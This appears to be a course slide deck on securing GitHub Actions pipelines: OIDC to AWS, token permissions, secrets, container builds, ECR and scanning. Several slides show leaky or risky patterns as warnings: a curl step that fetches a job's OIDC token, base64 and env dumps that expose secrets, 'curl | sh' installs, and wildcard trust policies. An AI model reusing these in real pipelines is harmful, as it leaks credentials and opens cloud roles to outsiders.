secrets: inherit hand over, and to whom does it work?GITHUB_TOKEN permissions?dist/?shell: on every run: step?Practice: Lab 3 in Hands-on labs — extract a reusable workflow and a composite action and call them from two repos.
No stored cloud keys: short-lived credentials from OIDC, a token with only the permissions a job needs, and secrets gated by environments.
How a workflow proves who it is to AWS, and how the role decides whether to believe it.
An AWS_ACCESS_KEY_ID in repo secrets is a credential that works from anywhere, forever, until someone remembers to rotate it.
GitHub is the identity provider, AWS STS is the relying party. The workflow never sees a password.
STS validates the JWT signature against GitHub's published keys and checks the aud claim against the provider's client IDs; the role's trust policy decides which sub values are allowed.
Every condition you write in a trust policy is a check on one of these claims. Learn the sub formats by heart.
{
"iss": "https://token.actions.githubusercontent.com",
"aud": "sts.amazonaws.com",
"sub": "repo:<you>/cicd-lab:environment:prod",
"repository": "<you>/cicd-lab",
"repository_id": "…", "repository_owner_id": "…",
"ref": "refs/heads/main", "sha": "…",
"environment": "prod", "event_name": "push",
"workflow_ref":
"<you>/cicd-lab/.github/workflows/ci.yml@refs/heads/main",
"job_workflow_ref":
"<you>/ci-templates/.github/workflows/deploy.yml@refs/tags/v1",
"runner_environment": "github-hosted",
"exp": …, "iat": …
}sub formats| Job context | sub |
|---|---|
Job uses an environment: | repo:ORG/REPO:environment:NAME |
pull_request event (no environment) | repo:ORG/REPO:pull_request |
| Branch push / other events | repo:ORG/REPO:ref:refs/heads/BRANCH |
| Tag push | repo:ORG/REPO:ref:refs/tags/TAG |
The environment wins: a job with environment: prod on main gets ...:environment:prod, not ...:ref:refs/heads/main. A trust policy that only allows the ref form will reject it.
Names can be reused: delete or rename a repo and someone else can create one with the old name. Immutable claims add numeric IDs that never move.
repo:OWNER@OWNER-ID/REPO@REPO-ID:<context>repo:octo-org@123456/octo-repo@456789:ref:refs/heads/main.environment:prod, pull_request, ref:…).@ (it was - when first announced; changed 10 Jun 2026).sub unless the org or repo opts in.sub changes; claims such as job_workflow_ref keep names.repo:<you>/cicd-lab:* no longer matches a new repo's tokens.AccessDenied / "Not authorized to perform sts:AssumeRoleWithWebIdentity".Numeric IDs come from the REST API. Allow both formats for a short window, then drop the name-only form.
# numeric owner and repository IDs (REST API)
gh api repos/<you>/cicd-lab --jq '.owner.id, .id'
# 123456
# 456789
# immutable sub for the prod environment
repo:<you>@123456/cicd-lab@456789:environment:prod
# decode a real token in a debug job (never log the token)
- run: |
H="Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN"
U="$ACTIONS_ID_TOKEN_REQUEST_URL&audience=sts.amazonaws.com"
T=$(curl -sS -H "$H" "$U" | jq -r .value)
echo "$T" | cut -d. -f2 | base64 -d 2>/dev/null \
| jq '{sub, aud, ref, environment}'{
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:aud":
"sts.amazonaws.com",
"token.actions.githubusercontent.com:sub": [
"repo:<you>/cicd-lab:environment:prod",
"repo:<you>@123456/cicd-lab@456789:environment:prod"
]
}
}
}gh repo view --json id returns a GraphQL node ID, not the numeric ID. Use the REST fields .id and .owner.id.
One provider per account; one role per repo and environment, with a trust policy that names exactly that sub.
# 1) identity provider (once per account)
aws iam create-open-id-connect-provider \
--url https://token.actions.githubusercontent.com \
--client-id-list sts.amazonaws.com
# GitHub's issuer is validated with trusted root CAs;
# if a tool demands --thumbprint-list, see the IAM docs
# 2) role with a narrow trust policy
aws iam create-role --role-name gha-cicd-lab-prod \
--assume-role-policy-document file://trust-prod.json
# 3) permissions: only what the deploy job needs
aws iam put-role-policy --role-name gha-cicd-lab-prod \
--policy-name ecr-push \
--policy-document file://ecr-push.json// trust-prod.json
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": {"Federated": "arn:aws:iam::<acct>:oidc-provider/
token.actions.githubusercontent.com"},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:aud":
"sts.amazonaws.com",
"token.actions.githubusercontent.com:sub":
"repo:<you>@123456/cicd-lab@456789:environment:prod"
}
}
}]
}The provider ARN is one string: arn:aws:iam::<acct>:oidc-provider/token.actions.githubusercontent.com (wrapped above to fit).
id-token: write lets the job request a JWT; aws-actions/configure-aws-credentials performs the exchange and exports the temporary credentials.
permissions:
contents: read
id-token: write # required for OIDC
jobs:
push-image:
runs-on: ubuntu-latest
environment: prod # → sub ends with :environment:prod
steps:
- uses: actions/checkout@<sha-of-release> # pin
- uses: aws-actions/configure-aws-credentials@<sha-of-release> # pin
with:
role-to-assume: arn:aws:iam::<acct>:role/gha-cicd-lab-prod
aws-region: ap-northeast-1
role-session-name: gha-${{ github.run_id }}
- run: aws sts get-caller-identity
# → arn:aws:sts::<acct>:assumed-role/gha-cicd-lab-prod/gha-123456dev, prod), never one role for everything.role-session-name with the run ID: CloudTrail links each API call to a run.sts.amazonaws.com; change it only with the provider's client ID.job_workflow_ref (only a central deploy workflow may assume the role).The sub condition is the security boundary. Wildcards decide who else in the world can become your role.
Condition on sub | Who can assume the role | Verdict |
|---|---|---|
repo:<you>@ID/cicd-lab@ID:environment:prod (StringEquals) | Only prod-environment jobs of this repo (protected by reviewers) | Tight — use for deploy roles |
repo:<you>/cicd-lab:ref:refs/heads/main | Any job running on main of this repo | OK for build-and-push roles |
repo:<you>/cicd-lab:* (StringLike) | Every branch, tag, PR and environment, including untrusted PR jobs | Too broad for anything writable |
repo:<you>/* (StringLike) | Every repo in the account or org, including new ones | Only for read-only, low-value roles |
No sub condition, only aud | Any GitHub repo in the world that targets your role ARN | Critical: never |
Prefer StringEquals with an exact list over StringLike wildcards, and review every trust policy with IAM Access Analyzer before it reaches production.
When repo + context is not enough — for example "only the central deploy workflow may assume this role" — change what goes into sub.
# repo level: custom template (REST API)
gh api -X PUT \
repos/<you>/cicd-lab/actions/oidc/customization/sub \
-F use_default=false \
-f 'include_claim_keys[]=repo' \
-f 'include_claim_keys[]=context' \
-f 'include_claim_keys[]=job_workflow_ref'
# resulting sub (key:value pairs joined with ':'), one line:
# repo:<you>/cicd-lab:environment:prod
# :job_workflow_ref:<you>/ci-templates/
# .github/workflows/deploy.yml@refs/tags/v1
# org level: applies to repos that do not override it
gh api -X PUT orgs/<org>/actions/oidc/customization/sub \
-f 'include_claim_keys[]=repo' \
-f 'include_claim_keys[]=context'sub breaks when you switch: update trust policies first.repo makes every branch and PR look the same: too broad.job_workflow_ref pins the reusable workflow and its ref: great for "deploy only via platform template".The automatic token every job gets, and how to make it able to do almost nothing.
Every job gets a fresh installation token of the GitHub Actions app, scoped to the repository and expiring when the job ends (or after 24 hours at most).
secrets.GITHUB_TOKEN and github.token.workflow_dispatch and repository_dispatch).contents: read, packages: read: the safe default for new orgs.permissions: block documents intent in the file reviewers read.Set at workflow level for a baseline and at job level to grant more. Once you list any scope, every unlisted scope becomes none.
permissions: {} # workflow default: nothing
jobs:
test:
runs-on: ubuntu-latest
permissions:
contents: read # checkout only
steps: [...]
label:
runs-on: ubuntu-latest
permissions:
pull-requests: write # add a label, nothing else
steps: [...]
publish:
runs-on: ubuntu-latest
permissions:
contents: read
id-token: write # OIDC to AWS / Sigstore
attestations: write # artifact attestations (Chapter 11)
packages: write # push to GHCR
steps: [...]| Scope | Typical need |
|---|---|
contents | read: checkout · write: push, create releases |
pull-requests | write: comment, label, open PRs |
issues | write: comment on or create issues |
checks / statuses | write: report custom check results |
packages | write: push images to GHCR |
id-token | write: request an OIDC token (no read level) |
attestations | write: create artifact attestations |
security-events | write: upload SARIF (CodeQL, zizmor) |
actions | write: cancel or re-run workflows |
When the automatic token is not enough (cross-repo, trigger workflows), choose the next-smallest identity.
| Need | GITHUB_TOKEN | GitHub App installation token | Personal access token |
|---|---|---|---|
| Act on the current repo | Yes | Yes | Yes |
Act on other repos (open a PR in gitops-lab) | No | Yes, repos where the app is installed | Yes, everything the user can reach |
| Trigger workflows with its pushes | No (by design) | Yes | Yes |
| Lifetime | Job | 1 hour, minted per run | Until expiry or revocation (often long) |
| Tied to a person | No | No | Yes — leaves with the person |
| How in Actions | Automatic | actions/create-github-app-token with app ID + private key | Stored secret |
| Use for | Almost everything | Promotion PRs, cross-repo automation | Avoid; fine-grained PAT if unavoidable |
Promotion to the GitOps repo (Chapter 7, GitOps deck ch 9): a GitHub App installed only on gitops-lab with contents: write and pull-requests: write.
The app's private key is the only stored secret, and the minted token lives one hour with only the permissions you ask for.
jobs:
promote:
runs-on: ubuntu-latest
environment: dev
permissions: {contents: read}
steps:
- id: app
uses: actions/create-github-app-token@<sha> # pin
with:
app-id: ${{ vars.PROMOTER_APP_ID }}
private-key: ${{ secrets.PROMOTER_PRIVATE_KEY }}
owner: <you>
repositories: gitops-lab # one repo only
- uses: actions/checkout@<sha> # pin
with:
repository: <you>/gitops-lab
token: ${{ steps.app.outputs.token }}
persist-credentials: false
# edit envs/dev/hello/values.yaml, push a branch, then:
- env:
GH_TOKEN: ${{ steps.app.outputs.token }}
run: gh pr create --repo <you>/gitops-lab --fillWhere secrets live, who can read them, and how environments turn approvals into a security control.
Secrets are encrypted and masked; variables are plain configuration. Both exist at org, repo and environment level.
| Level | Visible to | Use for |
|---|---|---|
| Organization | Repos selected by the access policy | Shared, low-risk values (a Sonar URL), app IDs |
| Repository | All workflows in the repo, all branches | Build-time values that are not environment-specific |
| Environment | Only jobs that declare environment: NAME, after protection rules pass | Anything production: keys, app private keys |
secrets.X for secrets, vars.X for variables.pull_request_target, which runs base-branch code — Chapter 8).if: conditions directly; map them to env first.GitHub replaces exact secret values in logs with ***. Anything that transforms the value escapes the mask.
# mask a value created
# during the job
- run: |
T=$(./get-token.sh)
echo "::add-mask::$T"
echo "T=$T" >> "$GITHUB_ENV"
# do not:
# base64 output is unmasked
- env:
P: ${{ secrets.DB_PASS }}
run: echo "$P" | base64
# dumps everything
- run: envAn environment bundles protection rules and secrets. A job that references it waits until the rules pass, and only then sees its secrets.
main or v* tags may target the environment.sub with environment:NAME, so AWS can trust only approved deploys.Three settings line up into one control: only reviewed, main-branch runs can become the prod role.
jobs:
deploy-prod:
if: github.ref == 'refs/heads/main'
runs-on: ubuntu-latest
environment:
name: prod
url: https://hello.example.com
permissions:
contents: read
id-token: write
concurrency: {group: deploy-prod, cancel-in-progress: false}
steps:
- uses: aws-actions/configure-aws-credentials@<sha-of-release> # pin
with:
role-to-assume: ${{ vars.PROD_ROLE_ARN }} # environment variable
aws-region: ap-northeast-1
- run: ./deploy.shKeep third-party tokens in Secrets Manager; the job fetches them with its OIDC role. GitHub stores nothing but the role ARN.
steps:
- uses: aws-actions/configure-aws-credentials@<sha> # pin
with:
role-to-assume: arn:aws:iam::<acct>:role/gha-cicd-lab-dev
aws-region: ap-northeast-1
- uses: aws-actions/aws-secretsmanager-get-secrets@<sha> # pin
with:
secret-ids: |
SONAR, cicd-lab/sonar
parse-json-secrets: true
# exported as env vars, masked in logs
# JSON {"token": …} under alias SONAR → $SONAR_TOKEN
- run: ./scan.sh// role permission: only these secrets
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Action": "secretsmanager:GetSecretValue",
"Resource":
"arn:aws:secretsmanager:ap-northeast-1:<acct>:secret:cicd-lab/*"
}]
}Benefits: rotation happens in AWS, access is logged in CloudTrail per run (session name), and the same secret serves CI and the workload. Add kms:Decrypt if the secret uses a customer managed key.
Almost every CI credential incident traces back to one of these.
StringLike repo:org/* on a role that can push images.ref:refs/heads/main while the job uses environment: prod → AccessDenied, then "fixed" with a wildcard.id-token: write → "Credentials could not be loaded".sub.secrets: inherit into a template owned by someone else.permissions: present in every workflow (zizmor flags missing ones).Explain each with the exact claim, setting or field.
sub of a job on main with environment: prod?sub look like, and which repos get it by default?repo:org/* dangerous on a writable role?permissions: block?GITHUB_TOKEN not trigger workflows?sub claim and the trust policy combine?Practice: Lab 4 in Hands-on labs — OIDC to AWS with a role locked to environment:prod, then break it with a wrong sub, a rename and a fork PR.
Dockerfiles made for CI, BuildKit in Actions, publishing to Amazon ECR, and scanning before anything ships.
Small, reproducible, non-root images that build fast from cache.
The image is the artifact you promote. Every property below is cheap to get right once, and expensive to retrofit.
go.sum, package-lock.json).apt-get upgrade or latest downloads at build time..dockerignore keeps the build context tiny.hello service: Go build stage → distroless nonrootThe build stage runs on the runner's native platform and cross-compiles; the final stage contains one static binary.
# syntax=docker/dockerfile:1
FROM --platform=$BUILDPLATFORM golang:1.27@sha256:<digest> AS build
ARG TARGETOS TARGETARCH
WORKDIR /src
COPY go.mod go.sum ./
RUN --mount=type=cache,target=/go/pkg/mod go mod download
COPY . .
RUN --mount=type=cache,target=/go/pkg/mod \
--mount=type=cache,target=/root/.cache/go-build \
CGO_ENABLED=0 GOOS=$TARGETOS GOARCH=$TARGETARCH \
go build -trimpath -ldflags="-s -w" -o /out/hello ./cmd/hello
FROM gcr.io/distroless/static-debian12:nonroot@sha256:<digest>
COPY --from=build /out/hello /hello
USER nonroot:nonroot
EXPOSE 8080
ENTRYPOINT ["/hello"]# syntax= pins the Dockerfile frontend, enabling cache mounts.--platform=$BUILDPLATFORM: the Go toolchain runs natively; TARGETOS/TARGETARCH select the output. No QEMU needed.go.mod/go.sum copied first: dependency layer is reused until they change.CGO_ENABLED=0 → static binary that runs on static distroless (no libc).-trimpath removes local paths from the binary (better reproducibility).nonroot variant runs as UID 65532; USER makes it explicit.Every package in the base becomes your CVE backlog. Pick the smallest base your runtime allows.
| Base | Contains | Good for | Watch out |
|---|---|---|---|
scratch | Nothing | Static Go/Rust binaries | Add CA certs and /etc/passwd yourself; no timezone data |
distroless/static | CA certs, tzdata, passwd, no shell | Static binaries | No shell: debug with ephemeral containers (kubectl debug) |
distroless/base, cc | glibc (+ libstdc++) | CGO, C/C++ dependencies | Still no package manager |
| Language distroless (java, python, nodejs) | Runtime only | JVM, Python, Node apps | Pin the runtime major version |
*-slim (Debian), alpine | Shell + package manager | Apps needing OS packages | More CVEs; Alpine uses musl (DNS and glibc differences) |
| Hardened minimal images (vendor or internal) | Curated, frequently rebuilt | Teams wanting near-zero CVEs | Licensing, update cadence, provenance of the vendor |
Platform teams often publish 2–3 approved bases to an internal ECR repo and rebuild them weekly; app Dockerfiles may only use those (enforced by a policy check in CI).
Layers are public to anyone who can pull the image. ARG and ENV values end up in the image history.
# Dockerfile: private Go modules without leaking the token
RUN --mount=type=secret,id=gh_token \
T=$(cat /run/secrets/gh_token) && \
git config --global \
url."https://x-access-token:$T@github.com/".insteadOf \
"https://github.com/" && \
go mod download
# workflow step (docker/build-push-action)
# secrets: |
# gh_token=${{ secrets.MODULES_TOKEN }}
# labels: ${{ steps.meta.outputs.labels }}
# OCI labels the metadata action adds for you
org.opencontainers.image.source=
https://github.com/<you>/cicd-lab
org.opencontainers.image.revision=<git sha>
org.opencontainers.image.created=<timestamp>--mount=type=secret exposes the secret only to that RUN step; it is not stored in a layer.COPY .npmrc, ~/.aws or .env into the build context: list them in .dockerignore.ARG TOKEN=... is visible in docker history — not a secret mechanism.org.opencontainers.image.source lets GitHub and scanners link the image back to the repo.revision = the commit SHA you will look for during an incident (Chapter 13)..dockerignore and reproducibility habitsA large or dirty context slows every build and can leak files into the image.
# .dockerignore
.git
.github
**/*_test.go
*.md
.env*
.npmrc
dist/
node_modules/
coverage/
Dockerfile*
.dockerignorego mod tidy diff check).SOURCE_DATE_EPOCH from the commit time if you want timestamps to be reproducible.hadolint as a lint step for Dockerfile mistakes (missing pins, apt without --no-install-recommends).RUN curl ... | sh without a checksum.FROM node:latest or any tag without a digest in production images.chmod -R 777 to "fix" permissions.The Docker actions, cache backends, and multi-arch builds without slow emulation.
Each action does one thing; the outputs of one feed the next.
docker-container driver).buildx build with platforms, tags, labels, cache.push: true publishes; output digest is the artifact identity.Pin all four by full commit SHA (Chapter 9). The digest output is what you sign, attest and promote — never the tag.
hello to ECROne job, OIDC to AWS, registry login, metadata, build and push. The digest is exported for later jobs.
jobs:
image:
runs-on: ubuntu-24.04
environment: dev
permissions: {contents: read, id-token: write}
outputs:
digest: ${{ steps.build.outputs.digest }}
steps:
- uses: actions/checkout@<sha-of-v7.0.1> # vX.Y.Z
with: {persist-credentials: false}
- uses: aws-actions/configure-aws-credentials@<sha> # vX.Y.Z
with:
role-to-assume: arn:aws:iam::111122223333:role/gha-cicd-lab
aws-region: ap-northeast-1 - id: ecr
uses: aws-actions/amazon-ecr-login@<sha> # vX.Y.Z
- id: meta
uses: docker/metadata-action@<sha> # vX.Y.Z
with:
images: ${{ steps.ecr.outputs.registry }}/cicd-lab/hello
tags: |
type=sha,format=long
type=semver,pattern={{version}}
- uses: docker/setup-buildx-action@<sha> # vX.Y.Z
- id: build
uses: docker/build-push-action@<sha> # vX.Y.Z
with:
context: .
platforms: linux/amd64,linux/arm64
push: true
tags: ${{ steps.meta.outputs.tags }}
labels: ${{ steps.meta.outputs.labels }}
cache-from: type=gha
cache-to: type=gha,mode=maxtype=gha vs type=registry: where layer cache livesWithout an exported cache every CI build starts cold: BuildKit runs on a fresh runner each time.
| Backend | How | Good for | Limits |
|---|---|---|---|
type=gha | GitHub Actions cache service | Single repo, GitHub-hosted runners | Shares the repo's Actions cache quota; evicted when full; scoped by branch |
type=registry | Cache manifest pushed to a registry tag | Shared across repos, runners and branches | Extra registry storage; needs registry write access |
type=inline | Cache metadata inside the image | Simple setups | mode=min only (final stage layers); weakest hit rate |
type=local | Directory on the runner | Persistent self-hosted runners | Lost on ephemeral runners |
# registry cache in ECR
# REG=<acct>.dkr.ecr.ap-northeast-1
# .amazonaws.com
cache-from: >-
type=registry,
ref=REG/cicd-lab/hello-cache:main
cache-to: >-
type=registry,
ref=REG/cicd-lab/hello-cache:main,
mode=max,image-manifest=true,
oci-mediatypes=truemode=max caches every stage, including the build stage — that is where most of the time goes. image-manifest=true stores the cache as an OCI image manifest, which ECR accepts. Keep the cache in a separate, mutable repository (hello-cache): the app repository is immutable.
linux/amd64 + linux/arm64ARM (Graviton) nodes are cheaper on EKS, so most teams publish both architectures under one tag.
| Method | How it works | Speed | Use when |
|---|---|---|---|
| Cross-compile in Dockerfile | FROM --platform=$BUILDPLATFORM; compiler targets $TARGETARCH | Native speed | Go, Rust, Java, .NET — the default choice |
| QEMU emulation | setup-qemu-action; every RUN of the foreign arch runs emulated | Often 5–20× slower for compile-heavy steps | Interpreted stacks with native extensions, small builds |
| Native runners per arch + merge | One job on ubuntu-24.04, one on ubuntu-24.04-arm; push by digest; merge with imagetools create | Native speed, parallel | Large builds that cannot cross-compile (C/C++ deps, Python wheels) |
The result is an image index (manifest list): one tag, one index digest, one manifest per platform. Nodes pull the manifest that matches their architecture.
Each job pushes by digest only; a final job creates the tagged index from both digests.
# per-arch job (matrix: platform, runner)
- id: build
uses: docker/build-push-action@<sha> # vX.Y.Z
with:
platforms: ${{ matrix.platform }}
outputs: >-
type=image,name=${{ env.IMAGE }},
push-by-digest=true,
name-canonical=true,push=true
# merge job
- run: |
docker buildx imagetools create \
-t "$IMAGE:${GITHUB_SHA}" \
"$IMAGE@${DIGEST_AMD64}" "$IMAGE@${DIGEST_ARM64}"
docker buildx imagetools inspect "$IMAGE:${GITHUB_SHA}" ubuntu-24.04-arm: free on public repos (4 vCPU, 16 GB); private repos get 2 vCPU, 8 GB, using included minutes then billed per minute.
Know what lands in the registry before you write scanning and signing steps.
steps.build.outputs.digest: the image (or index) digest — the artifact identity.steps.build.outputs.metadata: full build result JSON.outputs; never re-resolve a tag.provenance: mode=max records more build detail (can include build args — avoid secrets in args).sbom: true attaches an SBOM attestation generated by BuildKit.unknown/unknown platform entry: that is the attestation.Login without keys, tags you can trust, and repositories that clean and copy themselves.
One private registry per account and Region; repositories inside it; images addressed by tag or digest.
<acct>.dkr.ecr.ap-northeast-1.amazonaws.com.cicd-lab/hello.cicd-lab/hello@sha256:… (GitOps deck ch 9).ecr:GetAuthorizationToken (*) plus repository-scoped ecr:BatchCheckLayerAvailability, InitiateLayerUpload, UploadLayerPart, CompleteLayerUpload, PutImage, and BatchGetImage + GetDownloadUrlForLayer for cache reads.AmazonEC2ContainerRegistryReadOnly or narrower).aws-actions/configure-aws-credentials with OIDC (Chapter 4).aws-actions/amazon-ecr-login runs the Docker login and outputs registry.Choose a scheme where every tag is meaningful and none is ever reused.
| Tag | Created when | Mutable? |
|---|---|---|
<full git sha> | Every main-branch build | No |
v1.4.0 | Release tag pushed | No |
pr-123-<sha> | PR builds (if pushed at all) | No; expire quickly |
buildcache | Registry cache export | Yes (separate repo is cleaner) |
latest: nobody knows what it is, and it changes under running pods.prod, staging) that are re-pointed: promotion belongs in Git (GitOps deck), not in tags.With IMMUTABLE, pushing an existing tag fails. A tag then always means the same digest.
aws ecr create-repository \
--repository-name cicd-lab/hello \
--image-tag-mutability IMMUTABLE \
--image-scanning-configuration scanOnPush=true \
--encryption-configuration encryptionType=KMS
# existing repository
aws ecr put-image-tag-mutability \
--repository-name cicd-lab/hello \
--image-tag-mutability IMMUTABLE
# re-pushing the same tag now fails with
# ImageTagAlreadyExistsExceptioncicd-lab/hello-cache.Storage is cheap per image but grows forever without rules. Rules are evaluated by priority.
{
"rules": [
{
"rulePriority": 1,
"description": "Expire untagged images after 7 days",
"selection": {"tagStatus": "untagged",
"countType": "sinceImagePushed",
"countUnit": "days", "countNumber": 7},
"action": { "type": "expire" }
},
{
"rulePriority": 2,
"description": "Keep the last 30 PR images",
"selection": {"tagStatus": "tagged",
"tagPrefixList": ["pr-"],
"countType": "imageCountMoreThan",
"countNumber": 30},
"action": { "type": "expire" }
}
]
}aws ecr put-lifecycle-policy --repository-name cicd-lab/hello --lifecycle-policy-text file://policy.json.aws ecr start-lifecycle-policy-preview then get-lifecycle-policy-preview.v*) or digests still referenced by a cluster.Two features that remove Docker Hub rate limits from CI and keep images next to the clusters that run them.
# pull-through cache: docker.io via ECR
aws ecr create-pull-through-cache-rule \
--ecr-repository-prefix docker-hub \
--upstream-registry-url \
registry-1.docker.io \
--credential-arn "$SECRET_ARN"
# secret: ecr-pullthroughcache/...
# then pull upstream images through ECR
FROM $REG/docker-hub/library/golang:1.27
# replication: cicd-lab/* to us-west-2
aws ecr put-replication-configuration \
--replication-configuration '{"rules":[{
"destinations":[{"region":"us-west-2",
"registryId":"<acct>"}],
"repositoryFilters":[{"filter":"cicd-lab",
"filterType":"PREFIX_MATCH"}]}]}'ecr-pullthroughcache/ prefix.Find known vulnerabilities at push time and keep finding them after release.
Scanning is a registry-level setting. Enhanced scanning hands the work to Amazon Inspector.
| Basic scanning | Enhanced scanning | |
|---|---|---|
| Engine | ECR (AWS-native basic scanning) | Amazon Inspector |
| Coverage | OS packages | OS packages and programming-language packages |
| When | On push or manual | On push and continuous: re-scans when new CVEs are published |
| Billing | ECR (basic scans) | Amazon Inspector pricing (per image scanned and re-scanned) |
| Findings | describe-image-scan-findings | Inspector console, inspector2 API, EventBridge, Security Hub; also describe-image-scan-findings |
| Multi-arch | Per image manifest | Per platform image; manifest lists (indexes) themselves are not scanned |
Continuous re-scanning stops after a configurable duration since push or last pull; the allowed values depend on when Inspector was activated in the account — check the Inspector ECR scanning page for your account.
Configure once per registry; let EventBridge carry findings to where teams already work.
aws ecr put-registry-scanning-configuration \
--scan-type ENHANCED \
--rules '[{
"scanFrequency": "CONTINUOUS_SCAN",
"repositoryFilters": [{"filter": "cicd-lab/*",
"filterType": "WILDCARD"}]
}, {
"scanFrequency": "SCAN_ON_PUSH",
"repositoryFilters": [{"filter": "*",
"filterType": "WILDCARD"}]
}]'
# in CI: poll until the scan has results (continuous
# scanning reports ACTIVE, not COMPLETE), then read them
# (SCAN_ON_PUSH repos make a simpler gate)
for i in $(seq 30); do
S=$(aws ecr describe-image-scan-findings \
--repository-name cicd-lab/hello \
--image-id imageDigest=$DIGEST \
--query imageScanStatus.status --output text)
case $S in COMPLETE|ACTIVE) break;; esac; sleep 10
done
aws ecr describe-image-scan-findings \
--repository-name cicd-lab/hello \
--image-id imageDigest=$DIGEST \
--query 'imageScanFindings.findingSeverityCounts'Scanning in the pipeline gives fast feedback before push; registry scanning covers the long tail after release.
# Trivy: fail on fixable HIGH/CRITICAL in the built image
trivy image --exit-code 1 \
--severity HIGH,CRITICAL --ignore-unfixed \
--ignorefile .trivyignore.yaml \
"$IMAGE@$DIGEST"
# Grype: same idea
grype "$IMAGE@$DIGEST" --only-fixed --fail-on high
# SARIF for GitHub code scanning
trivy image --format sarif -o trivy.sarif "$IMAGE@$DIGEST"
# then github/codeql-action/upload-sarif with sarif_file: trivy.sarif| Trivy | Grype | |
|---|---|---|
| Scans | Images, filesystems, repos, IaC, secrets, licenses | Images, directories, SBOMs |
| Ignore file | .trivyignore / .trivyignore.yaml | ignore: rules in .grype.yaml |
| Expiry on ignores | Yes (exp: / expired_at) | Track owner + date next to the rule |
| SBOM input | Yes | Yes (pairs with Syft, Chapter 10) |
Install scanners in CI from pinned releases with checksum verification, or via their official actions pinned by SHA: scanners run with access to your build, so they are part of the supply chain too.
A gate without an exception process gets disabled. An exception without an expiry becomes permanent.
# .trivyignore.yaml
vulnerabilities:
- id: CVE-2025-12345
statement: >-
Not reachable: vulnerable function only used by the CLI
subcommand, not compiled into the hello server.
Owner: team-hello. Ticket: SEC-412.
expired_at: 2026-12-31
# plain .trivyignore alternative
# CVE-2025-12345 exp:2026-12-31No single scan is enough: each point catches what the others cannot.
Each of these has broken a real pipeline or let a bad image through.
type=gha cache with mode=min: the build stage is never cached.build-args (visible in history and in max provenance).v1.4.0.Explain the answer and name the exact option, action input or API.
--platform=$BUILDPLATFORM remove the need for QEMU in a Go build?RUN step without storing it?type=registry cache better than type=gha?push-by-digest=true enable?Practice: Lab 5 in Hands-on labs — build a multi-arch hello image with registry cache, push to an immutable ECR repo, read Inspector findings per platform, and break it by re-pushing a tag.
Tests that run fast and mean something, static analysis, dependency and secret hygiene, and the gates that decide what may merge.
Many fast tests, fewer slow ones, and real dependencies where they matter.
The pyramid is about cost and confidence: cheap tests catch most bugs; expensive tests prove the system works together.
| Level | Runs on | Typical time | Catches |
|---|---|---|---|
| Unit | Every push and PR | Seconds | Logic errors, edge cases |
| Integration | Every PR | 1–5 min | SQL, serialization, config, real drivers |
| Contract | Every PR (both sides) | Seconds–minutes | API changes that break consumers |
| End-to-end | Merge queue / after deploy to dev | 5–20 min | Wiring, auth, user journeys |
| Smoke | After every deploy | < 1 min | The deploy itself worked |
Rule of thumb: the PR pipeline should finish in under 10 minutes. Move slow suites to the merge queue or post-deploy, not out of CI.
services:GitHub starts the containers before the steps and wires them onto the job network.
jobs:
integration:
runs-on: ubuntu-24.04
services:
postgres:
image: postgres:17
env: {POSTGRES_PASSWORD: test, POSTGRES_DB: hello}
ports: ["5432:5432"]
options: >-
--health-cmd "pg_isready -U postgres"
--health-interval 5s
--health-retries 10
env:
DATABASE_URL: >-
postgres://postgres:test@localhost:5432/hello?sslmode=disable
steps:
- uses: actions/checkout@<sha> # vX.Y.Z
- uses: actions/setup-go@<sha> # vX.Y.Z
with: {go-version-file: go.mod}
- run: go test -tags=integration ./...localhost and the mapped port.container: → reach it by the service name (postgres:5432), no port mapping needed.options passes docker create flags; health checks make GitHub wait until the service is healthy.Limits: one static set of services per job, started before any step, never restarted between tests. For a fresh database per test, Kafka + schema registry or LocalStack, use Testcontainers.
The test starts the container it needs, waits for readiness, and removes it afterwards. Same code locally and in CI.
// db_test.go (testcontainers-go, postgres module)
func TestRepo(t *testing.T) {
ctx := context.Background()
pg, err := postgres.Run(ctx, "postgres:17-alpine",
postgres.WithDatabase("hello"),
postgres.WithUsername("test"),
postgres.WithPassword("test"),
postgres.BasicWaitStrategies(),
)
if err != nil { t.Fatal(err) }
t.Cleanup(func() { _ = pg.Terminate(ctx) })
dsn, _ := pg.ConnectionString(ctx, "sslmode=disable")
repo := NewRepo(dsn)
// ... run migrations and assertions
}CI notes: pin test images (postgres:17-alpine), pull them through the ECR pull-through cache (Chapter 5), run on the runner (a job-level container: has no Docker unless you mount it), and size runners for parallel tests.
Integration tests prove you can talk to a dependency; contract tests prove you still agree on the API.
buf breaking for protobuf; OpenAPI diff tools).Split a long suite into N jobs that run at the same time. Total compute stays the same; wall-clock time drops.
jobs:
e2e:
runs-on: ubuntu-24.04
strategy:
fail-fast: false
matrix:
shard: [1, 2, 3, 4]
steps:
- uses: actions/checkout@<sha> # vX.Y.Z
- run: npx playwright test --shard=${{ matrix.shard }}/4
- if: ${{ !cancelled() }}
uses: actions/upload-artifact@<sha> # vX.Y.Z
with:
name: report-${{ matrix.shard }}
path: playwright-report/
# Go: split packages across jobs
# go list ./... | split by hash or by recorded timings--shard, Jest --shard.go test -p), or split the package list across matrix jobs.fail-fast: false so one red shard does not hide failures in others.concurrency (Chapter 2) to cancel superseded PR runs.A test that fails 1 % of the time across 30 tests fails about 1 run in 4. Teams then learn to click "Re-run" — and stop trusting red.
gotestsum --rerun-fails reruns failed Go tests and reports which passed on retry.continue-on-error: true.-race in CI.Find bugs and vulnerabilities in code and infrastructure without running it.
Run cheap checks first; send security findings to one place (GitHub code scanning via SARIF).
| Layer | Examples | Speed | Blocks merge? |
|---|---|---|---|
| Format and lint | gofmt, golangci-lint, ESLint, hadolint, actionlint | Seconds | Yes |
| Type and build | go vet, tsc --noEmit | Seconds | Yes |
| SAST (code) | CodeQL, Semgrep | Minutes | Yes for high-severity new findings |
| IaC (Terraform, K8s, Dockerfile) | Checkov, Trivy config, KICS | Seconds–minutes | Yes for high, with exceptions |
| Secrets | Secret scanning + push protection, gitleaks | Seconds | Yes (push protection blocks before commit lands) |
| Dependencies (SCA) | Dependency review, Dependabot alerts, Trivy/Grype | Seconds | Yes for new vulnerable deps |
Gate on new findings in the PR diff. Existing findings become a backlog with owners; otherwise the first scan blocks every PR in the repo.
